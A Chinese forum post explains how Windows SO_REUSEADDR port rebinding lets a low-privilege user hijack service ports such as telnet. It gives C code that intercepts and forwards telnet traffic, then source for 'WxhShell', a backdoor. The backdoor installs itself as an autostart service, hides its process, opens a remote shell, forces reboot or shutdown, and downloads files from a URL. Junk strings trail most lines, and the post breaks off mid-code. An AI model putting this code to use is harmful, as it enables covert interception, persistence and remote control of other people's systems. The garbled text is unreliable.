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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E7SmiD@)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :W-xsw  
5P);t9O6  
  saddr.sin_family = AF_INET; Ho%%voJBS  
~:0U.v_V  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "0>AefFd#  
6lr<{k7Nw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6: R1jF*eG  
^#h ;bX#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Yv{$XI7  
c; 1 f$$>b  
  这意味着什么?意味着可以进行如下的攻击: "[_gRe*2  
_lH:%E*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @%MGLR{pH  
~WmA55  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) se_Oi$VZ{  
uqBVKE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T%PUV \LV  
HXB & 6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  KpQ@cc  
T}'*Gry  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 PC,I"l  
|mw3v>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 oBPm^ob4  
>T14 J'\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y]k{u\2A  
,}^;q58  
  #include _4lKd`  
  #include 1q*=4O  
  #include 9~r8$,e  
  #include    ``h* A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \gir  
  int main() pe\]}&  
  { Wjd_|Kui  
  WORD wVersionRequested; {|q(4(f"Iu  
  DWORD ret; ,F|49i.K  
  WSADATA wsaData; %:-2P  
  BOOL val; A22'qgKm@  
  SOCKADDR_IN saddr; dP/1E6*m  
  SOCKADDR_IN scaddr; YO.+ 06X  
  int err; 99Nm?$ g  
  SOCKET s; `q y@Qo  
  SOCKET sc; SQG9m2  
  int caddsize; qHYoQ.ke  
  HANDLE mt; Uo:=-NNI  
  DWORD tid;   ukee.:{  
  wVersionRequested = MAKEWORD( 2, 2 ); -zm-|6[Wi  
  err = WSAStartup( wVersionRequested, &wsaData ); #.@D}7y5  
  if ( err != 0 ) { NF*Z<$'%  
  printf("error!WSAStartup failed!\n"); .Ax]SNZ+:A  
  return -1; FCt %of#  
  } }K 2fwE  
  saddr.sin_family = AF_INET; |s !7U  
   W_]onq 6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \q|<\~A  
{k<mN Y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); > a8'MK  
  saddr.sin_port = htons(23); A9y3B^\*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7Rr +Uzb(  
  { $r(9'm}W  
  printf("error!socket failed!\n"); ~Y7:08  
  return -1; J}VG4}L  
  } ]n4G]ybK%  
  val = TRUE; 5mI}IS|@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 f5t/=/6>F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Bc?KAK  
  { \2 `|eo  
  printf("error!setsockopt failed!\n"); E$5A 1  
  return -1; h`MTB!o  
  } ]M&KUgz  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +78cQqDY!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =?1B|hdo  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ";w"dfC^  
:T/I%|;f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _Qf310oONS  
  { Y$eO:67;  
  ret=GetLastError(); Cfst)[j  
  printf("error!bind failed!\n"); SOJkeN  
  return -1; mA\}zLw+r9  
  } WQltUaF  
  listen(s,2); ggzcANCD<  
  while(1) AKUmh  
  { B d?{ldg  
  caddsize = sizeof(scaddr); iq`caoi  
  //接受连接请求 5}'W8gV?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X:OUu;  
  if(sc!=INVALID_SOCKET) N?mQ50o~C  
  { .arWbTR)~U  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sK|+&BC  
  if(mt==NULL) "l-R|>6~  
  { OP\m~1  
  printf("Thread Creat Failed!\n"); mq oB]H,  
  break; nW_cjYS%  
  } \2y [Hy?  
  } LVBE+{P\5?  
  CloseHandle(mt); )SWLX\b  
  } ![aa@nOSa  
  closesocket(s); 8/ PS#dM\  
  WSACleanup(); JR4fJG  
  return 0; h9l 6AnbJ  
  }   ]R]%c*tA  
  DWORD WINAPI ClientThread(LPVOID lpParam) oYrg;]H  
  { ze#r/j;sw  
  SOCKET ss = (SOCKET)lpParam; '"]U+aIg  
  SOCKET sc; (Ujry =f  
  unsigned char buf[4096]; uwWKsZ4:ij  
  SOCKADDR_IN saddr; Amj'$G|+hj  
  long num; / yTPb  
  DWORD val; KWi P`h8  
  DWORD ret; DDp\*6y3l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 t,308Z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h=MEQ-3jg  
  saddr.sin_family = AF_INET; 6[& x7"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =]W[{@P  
  saddr.sin_port = htons(23); f2Z(hYH~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9%^O-8!  
  { ?4YLt|sn  
  printf("error!socket failed!\n"); \vqqs  
  return -1; k[5:]5lp+  
  } E8b:MY  
  val = 100; C?t!Uvs  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^_G@a,  
  { gE~LPwM  
  ret = GetLastError(); )i$KrN6  
  return -1; ({WV<T&  
  } 4~z-&>%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6l& ,!fd  
  { (A\\s$fE/1  
  ret = GetLastError(); L_R(K89w  
  return -1; Z6IWQo,)Rh  
  } DN;3VT.-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .._UI2MA  
  { V&J'2Lq  
  printf("error!socket connect failed!\n"); i&\ c DQ 3  
  closesocket(sc); ..UA*#%1  
  closesocket(ss); I)q"M]~  
  return -1; L=V.@?  
  } sTw+.m{F  
  while(1) |a>,FZv8e  
  { ;]^% 6B n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dnCurWjdk  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .g!K| c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ZFRKzPc {V  
  num = recv(ss,buf,4096,0); z2[{3Kd*  
  if(num>0) cSYMnB  
  send(sc,buf,num,0); 5 N:IH@  
  else if(num==0)  a S ,  
  break; "43F.!P  
  num = recv(sc,buf,4096,0); N%!{n7`N:  
  if(num>0) w L4P-4'  
  send(ss,buf,num,0); >IJX=24Rc  
  else if(num==0) _~O*V&  
  break; c[a^fu!  
  } c]R27r E  
  closesocket(ss);  N}KL'  
  closesocket(sc); t_jnp $1m  
  return 0 ; 8QQh1q2  
  } nt$q< 57  
!uqp?L^;  
5+a5p C  
========================================================== >Xw0i\G  
C{OkbE"Vym  
下边附上一个代码,,WXhSHELL hr3<vWAD  
puox^  
========================================================== $) m$ c5!  
'+7"dHLC;  
#include "stdafx.h" 1G )I|v9R  
w/csLi.O  
#include <stdio.h> Ix+eP|8F  
#include <string.h> 0HN%3AG]  
#include <windows.h> %{ory5  
#include <winsock2.h> 8T88  
#include <winsvc.h> -lm)xpp1  
#include <urlmon.h> hRZYvZ3  
d:=Z<Y?d/  
#pragma comment (lib, "Ws2_32.lib") 1H \  
#pragma comment (lib, "urlmon.lib") Tb\<e3Te_  
C!)ZRuRv  
#define MAX_USER   100 // 最大客户端连接数 YFP<^y=  
#define BUF_SOCK   200 // sock buffer }!V-FAL  
#define KEY_BUFF   255 // 输入 buffer <."KejXg-  
kO4'|<  
#define REBOOT     0   // 重启 Y-lTPR<Eq  
#define SHUTDOWN   1   // 关机 G%viWWTY  
( @V_47o  
#define DEF_PORT   5000 // 监听端口 b*1yvkX5  
q1Mt5O}  
#define REG_LEN     16   // 注册表键长度 *auT_*  
#define SVC_LEN     80   // NT服务名长度 k%V YAON  
0X5b32  
// 从dll定义API K #}t\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /h8100  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^0&jy:{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iP6?[pl8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NuW6~PV  
hR~&}sxN  
// wxhshell配置信息 d'iSvd.  
struct WSCFG { \}W !  
  int ws_port;         // 监听端口 Z"$iB-]  
  char ws_passstr[REG_LEN]; // 口令 T"1=/r$Ft  
  int ws_autoins;       // 安装标记, 1=yes 0=no X.ecA`0  
  char ws_regname[REG_LEN]; // 注册表键名 pfHfw,[  
  char ws_svcname[REG_LEN]; // 服务名 n;wViw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %<fs \J^k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >R5A@0@d5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,0{x-S0jX<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <<R2 X1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w|abaMam  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7^tYtMm|U  
Iw?*y.z|  
}; Q]e]\J  
@km4qJZ  
// default Wxhshell configuration e$/y ~!  
struct WSCFG wscfg={DEF_PORT, @saK:z  
    "xuhuanlingzhe", @WNqD*)1  
    1, Gn<0Fy2  
    "Wxhshell", 5p6/dlN-a  
    "Wxhshell", f3S 8~!  
            "WxhShell Service", ubRhJ~XB  
    "Wrsky Windows CmdShell Service", 7M8cF>o  
    "Please Input Your Password: ", NY|hE@{2.  
  1, >~_z#2PA  
  "http://www.wrsky.com/wxhshell.exe", _D$1CaAYo  
  "Wxhshell.exe" +;4;~>Y  
    }; QAAuFZs  
e+)y6Q=  
// 消息定义模块 hu.p;A3p;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g#`}HuPoE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MJkusR/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &XCP@@T  
char *msg_ws_ext="\n\rExit."; R+z'6&/ =I  
char *msg_ws_end="\n\rQuit."; Kp^"<%RT  
char *msg_ws_boot="\n\rReboot..."; ZMLN ;.{Na  
char *msg_ws_poff="\n\rShutdown..."; ;" Aj80  
char *msg_ws_down="\n\rSave to "; #<X4RJ  
',/#|  
char *msg_ws_err="\n\rErr!";  W =;,ls  
char *msg_ws_ok="\n\rOK!"; Jg)( F|>o  
Y=?{TX=6<[  
char ExeFile[MAX_PATH]; ]>1`Fa6_  
int nUser = 0; ug.|ag'R  
HANDLE handles[MAX_USER]; | P`b"x  
int OsIsNt; ^VW]Qr!  
Bh'!aipk  
SERVICE_STATUS       serviceStatus; ^4NRmlb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .)=*Yr M  
9yaTDxB>  
// 函数声明 TQb@szp:|  
int Install(void); rIb~@cR)  
int Uninstall(void); QUaV;6 4  
int DownloadFile(char *sURL, SOCKET wsh); +~ Hb}0ry  
int Boot(int flag); V^4v`}Wgx  
void HideProc(void); &*Xrh7K2e  
int GetOsVer(void); d2d8,Vg  
int Wxhshell(SOCKET wsl); #%F-Xsk  
void TalkWithClient(void *cs); dm]g:KWg  
int CmdShell(SOCKET sock); RN|Bk  
int StartFromService(void); 9HEqB0|ZRu  
int StartWxhshell(LPSTR lpCmdLine); 7r^Cs#b+I  
(>E/C^Tc%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IaQm)"Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bI|{TKKN&P  
*rbgDaQ  
// 数据结构和表定义 &-{%G=5~e%  
SERVICE_TABLE_ENTRY DispatchTable[] = M$Bb,s  
{ 6212*Z_Af  
{wscfg.ws_svcname, NTServiceMain}, l0;u$  
{NULL, NULL} ]uF7HX7F  
}; a6cU<(WDeh  
.dVV# H  
// 自我安装 g],]l'7H  
int Install(void) $STGH  
{ cJbv,RV<  
  char svExeFile[MAX_PATH]; !L|l(<C  
  HKEY key; 60]VOQku  
  strcpy(svExeFile,ExeFile); YtKT3u:x  
|vm-(HY!  
// 如果是win9x系统,修改注册表设为自启动 jSM`bE+"  
if(!OsIsNt) { SjpCf8Z(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *aC[Tv[-P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (+;D~iN`k  
  RegCloseKey(key); [[]y Q "  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \y%"tJ~N{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); he/rt#  
  RegCloseKey(key); EpKZ.lCU  
  return 0; "U"fsAc#  
    } ']fyD3N  
  } S.Kcb=;"L  
} 8_w6% md  
else { 'jMs&  
-:p VDxO  
// 如果是NT以上系统,安装为系统服务 G_5{5Ar  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y0kcxpK/  
if (schSCManager!=0) kr|r-N`  
{ ;?@Rq"*  
  SC_HANDLE schService = CreateService 8(l0\R,%+z  
  ( !/tV}.*  
  schSCManager, g!' x5#]n  
  wscfg.ws_svcname, YgjW%q   
  wscfg.ws_svcdisp, 7O k-T10  
  SERVICE_ALL_ACCESS, P^=B6>e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0^Vw^]w  
  SERVICE_AUTO_START, a%BC{XX  
  SERVICE_ERROR_NORMAL, /3k[3  
  svExeFile, uL-kihV:-  
  NULL, TTl9xs,nO  
  NULL, jD"nEp-  
  NULL, p7Zeudmj  
  NULL, 1%vE7a>{  
  NULL _Dqi#0#40p  
  ); Gey-8  
  if (schService!=0) _<jU! R  
  { ,mvFeo;@f  
  CloseServiceHandle(schService); ,r~^<m  
  CloseServiceHandle(schSCManager); ~Q Q1ZP3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~PQR_?1  
  strcat(svExeFile,wscfg.ws_svcname); h lc!}{$%8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XUh&an$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^H2TSaJ;  
  RegCloseKey(key); X]2Ib'(  
  return 0; ,1B4FAR&  
    } S LeA,T  
  } -6uLww=w4  
  CloseServiceHandle(schSCManager); 7VZ^J`3  
} Z.Z31yF:f  
} U';)]vB$  
[tSv{  
return 1; eN|zD?ba&  
} ewN|">WXQ  
3I)oqS@q'  
// 自我卸载 bv(+$YR  
int Uninstall(void)  0%,W5w  
{ FZ<6kk4  
  HKEY key; ib 'l:GM  
2-qWR<E  
if(!OsIsNt) { v(JjvN21  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *y|w9 r p  
  RegDeleteValue(key,wscfg.ws_regname); c)N_"#&  
  RegCloseKey(key); U?|A3;,xh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !BrZTo  
  RegDeleteValue(key,wscfg.ws_regname); 9}2/ko  
  RegCloseKey(key); 3AR'Zvn  
  return 0; g#l!b%$  
  } 35AH|U7b  
} R\n@q_!`X  
}  PBW_9&d  
else { 6tP!(  
muF&t'k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ow 6\j:$?  
if (schSCManager!=0)  -L2 +4  
{ @ YWuWF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2Hx*kh2  
  if (schService!=0) yB *aG  
  { s"nntC  
  if(DeleteService(schService)!=0) { psx_gv,  
  CloseServiceHandle(schService); UHi^7jQ  
  CloseServiceHandle(schSCManager); P| ?nx"c  
  return 0; qFDy)4H)  
  } #')] ~Xa  
  CloseServiceHandle(schService); U v>^ Z2  
  } ! @Vj&>mH$  
  CloseServiceHandle(schSCManager); w^HI lA  
} Ktzn)7-  
} %jq R^F:J  
@q]!C5  
return 1; 'cQ`jWZQ  
} Sjw wc6_c  
_}']h^@ Z  
// 从指定url下载文件 Gv8Z  
int DownloadFile(char *sURL, SOCKET wsh) /i Xl] <  
{ F$JA IL{W  
  HRESULT hr; %Gu=Dkz  
char seps[]= "/"; :18}$  
char *token; hZUS#75M5  
char *file; jL4"FTcE]3  
char myURL[MAX_PATH]; RN1KM  
char myFILE[MAX_PATH]; hhylsm  
=8p[ (<F=  
strcpy(myURL,sURL); "Ya ;&F.'  
  token=strtok(myURL,seps); F/A)2 H_  
  while(token!=NULL) CnY dj~  
  { 4U)%JK.ta  
    file=token; $1)NYsSH/H  
  token=strtok(NULL,seps); T?u*ey~Tv  
  } /Z#AHfKF  
93w$ck},?G  
GetCurrentDirectory(MAX_PATH,myFILE); e*Nm[*@UW  
strcat(myFILE, "\\"); MfLus40;n  
strcat(myFILE, file); l{ fL~O  
  send(wsh,myFILE,strlen(myFILE),0); SFsT^f<  
send(wsh,"...",3,0); sZqi)lo-s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G~*R6x2g  
  if(hr==S_OK) YWi Y[  
return 0; [czWUD  
else :t+Lu H g  
return 1; 5HvYy *B/  
Xe/7rhov  
} ov!L8 9`[u  
lu1T+@t  
// 系统电源模块 d]=>U^K  
int Boot(int flag) #&{)`+!"  
{ u6\W"LW  
  HANDLE hToken; =5%}CbUU)4  
  TOKEN_PRIVILEGES tkp; s\3ZE11L  
P8CIKoKCV  
  if(OsIsNt) { hE2{m{^A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t `\l+L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o1]1I9  
    tkp.PrivilegeCount = 1; -M[BC~!0;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S|@ Y !  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;Oqbfl#%  
if(flag==REBOOT) { 1 EV0Y]T1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Dp@m"_1`+  
  return 0; a5@lWpQsV  
} 9x8Ai  
else { | 8n,|%e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yAel4b/}  
  return 0; 1&kf2\S  
} {`L,F  
  } !:g\Fe]  
  else { *(*XNd||  
if(flag==REBOOT) { <("P5@cExU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9 &Od7Cn  
  return 0; \WVY@eB  
} ux7g%Q ^"  
else { R*O6Z"h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <jVk}gi)Jp  
  return 0; xoE,3Sn  
} 4Gy3s|{  
} hA"z0Fszh  
cC,gd\}M  
return 1; @|~D?&<\  
} MP8s}  
GlXzH1wZ  
// win9x进程隐藏模块 U3c!*i  
void HideProc(void) yucbEDO.  
{ _Q\u-VN*hv  
><;.vP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QlxlT$o}  
  if ( hKernel != NULL ) FCYZ9L5uF  
  { gJ Z9XLPC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KH1/B_.\V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X@B,w_b  
    FreeLibrary(hKernel); @j4~`~8  
  } qjvIp-  
v#KE"m  
return; K~z9b4a>  
} /#?i+z   
\V<deMb=  
// 获取操作系统版本 zB{be_Tw  
int GetOsVer(void) JvLa@E)  
{ :cTwp K  
  OSVERSIONINFO winfo; Dr"F5Wbg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gB#$"mq,  
  GetVersionEx(&winfo); TqMy">>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4dvuw{NZ  
  return 1; V6 ,59  
  else )'?@raB!  
  return 0; u:4?$%rB  
} PR1%  
j,JGs[A  
// 客户端句柄模块 DcLx [C  
int Wxhshell(SOCKET wsl) <0)@Ikhx  
{ `L}Irt}  
  SOCKET wsh; N+ R/ti  
  struct sockaddr_in client; 6~Xe$fP(  
  DWORD myID; ?x &"EhA>  
\LW '6 pQ_  
  while(nUser<MAX_USER) [kq+a] q  
{ uH!;4@ uI  
  int nSize=sizeof(client); ;;- I<TL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  0bk094  
  if(wsh==INVALID_SOCKET) return 1; !ly]{DTmm  
LaiUf_W#X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }vdhk0  
if(handles[nUser]==0) =u`^QE  
  closesocket(wsh); rru `% ~'O  
else X'>]z'0W  
  nUser++; 7:T 5P  
  } ;zvg]  %  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =Wk!mGc  
u7<s_M3%N  
  return 0; A@"CrVE  
} pfvNVu  
/F 1mYq~  
// 关闭 socket }mw31=2bD  
void CloseIt(SOCKET wsh) 3AD^B\<gB  
{ tpi63<N  
closesocket(wsh); "n@=.x  
nUser--; iPJZ%  
ExitThread(0); 8[;U|SR"  
} -xf=dzm)  
fKAG+t  
// 客户端请求句柄 8aD4 wc  
void TalkWithClient(void *cs) `ja**re  
{ "-TIao#  
Ey u?T  
  SOCKET wsh=(SOCKET)cs; 52#@.Qa  
  char pwd[SVC_LEN]; `795 K8  
  char cmd[KEY_BUFF]; QJ s /0iw  
char chr[1]; P A9 ]L  
int i,j; U(=cGA.$  
-pR1xsG  
  while (nUser < MAX_USER) { scUWI"  
ghiFI<)VY  
if(wscfg.ws_passstr) { wLC|mByq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A`Bg"k:D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .HG0%Vp  
  //ZeroMemory(pwd,KEY_BUFF); ,Tyh._sa  
      i=0; ~Hs a6F&F  
  while(i<SVC_LEN) { ~z!U/QR2  
N LC}XL  
  // 设置超时 E$rn^keM  
  fd_set FdRead; >g6:{-b^a  
  struct timeval TimeOut; "sRR:wzQu  
  FD_ZERO(&FdRead); .yF7{/  
  FD_SET(wsh,&FdRead); #.%;U' #O  
  TimeOut.tv_sec=8; i5*sG^<$H  
  TimeOut.tv_usec=0; I=pT fkTT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {j E}mzi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :U<`iJwY  
4jrY3gyBX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,.f GZ4  
  pwd=chr[0]; cQUmcK/,  
  if(chr[0]==0xd || chr[0]==0xa) { O.*,e  
  pwd=0; 8<6;X7<-  
  break; */RtN`dh  
  } P{)eZINlE  
  i++; !T|X/B R  
    } (a1s~  
Z %MP:@z  
  // 如果是非法用户,关闭 socket y)!K@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 810u +%fu  
} t1.5hsp  
NQ%lwE~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qMz0R\4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wel-a< e  
aC$hg+U$G  
while(1) { .t0Q>:}&b  
ueYZM<],  
  ZeroMemory(cmd,KEY_BUFF); bY;ah;<  
Ohnd:8E  
      // 自动支持客户端 telnet标准   }} l04kN_  
  j=0; -pc*$oe  
  while(j<KEY_BUFF) { l>S~)FNwXJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;Zc(qA  
  cmd[j]=chr[0]; $q{-)=-BXQ  
  if(chr[0]==0xa || chr[0]==0xd) { rRL:]%POT  
  cmd[j]=0; qI"@ PI!s  
  break; Jpws1~  
  } h{kAsd8 G  
  j++; hn-9l1~!h  
    } pl V]hu27K  
2|Hq[c=~  
  // 下载文件 6<R!`N 6  
  if(strstr(cmd,"http://")) { 7\K=8G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3j(GcR 9  
  if(DownloadFile(cmd,wsh)) ~k4S~!(U0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,)nO   
  else 'ac %]}`-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9dr\=e6) C  
  } z'MOuz~Y  
  else { u:3~Ius  
ZPY#<^WOzr  
    switch(cmd[0]) { _CBG?  
  [L"(flY(E  
  // 帮助 SI)u@3hl&w  
  case '?': { HkD6aJ:kA!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }i ./,  
    break; jX!,xS%(  
  } ,D3?N2mB  
  // 安装 @]t}bF]  
  case 'i': { [&y{z-D>  
    if(Install()) o4,W!^ n2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :03w k)  
    else ^N _kiSr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6+e@)[l.zc  
    break; dmW0SK   
    } )VID ;l;4  
  // 卸载 ne4hR]:  
  case 'r': { I8)x 0)Lx  
    if(Uninstall()) 9^<t0oY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S v$%-x^t  
    else *f=H#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1j "/}0fx  
    break; I1S*=^Z_U  
    } mTT1,|  
  // 显示 wxhshell 所在路径 L\XnTL{  
  case 'p': { /Zap'S/  
    char svExeFile[MAX_PATH]; 9H$#c_zrq  
    strcpy(svExeFile,"\n\r"); oEd+  
      strcat(svExeFile,ExeFile); ?`,<l#sj  
        send(wsh,svExeFile,strlen(svExeFile),0); >fPa>[_1  
    break; 9"K EHf!  
    } +ZEj(fd9  
  // 重启 <T+)~&g$  
  case 'b': { YN#i^(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); De@GNN"-  
    if(Boot(REBOOT)) ,8nu%zcVn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] hGU.C"(  
    else { u;GS[E4  
    closesocket(wsh); i<l_z&  
    ExitThread(0); K2<"O qp_W  
    } 7,ysixY  
    break; 9^,MC&eb  
    } V)72]p  
  // 关机 j BS$xW  
  case 'd': { w xKlBx7  
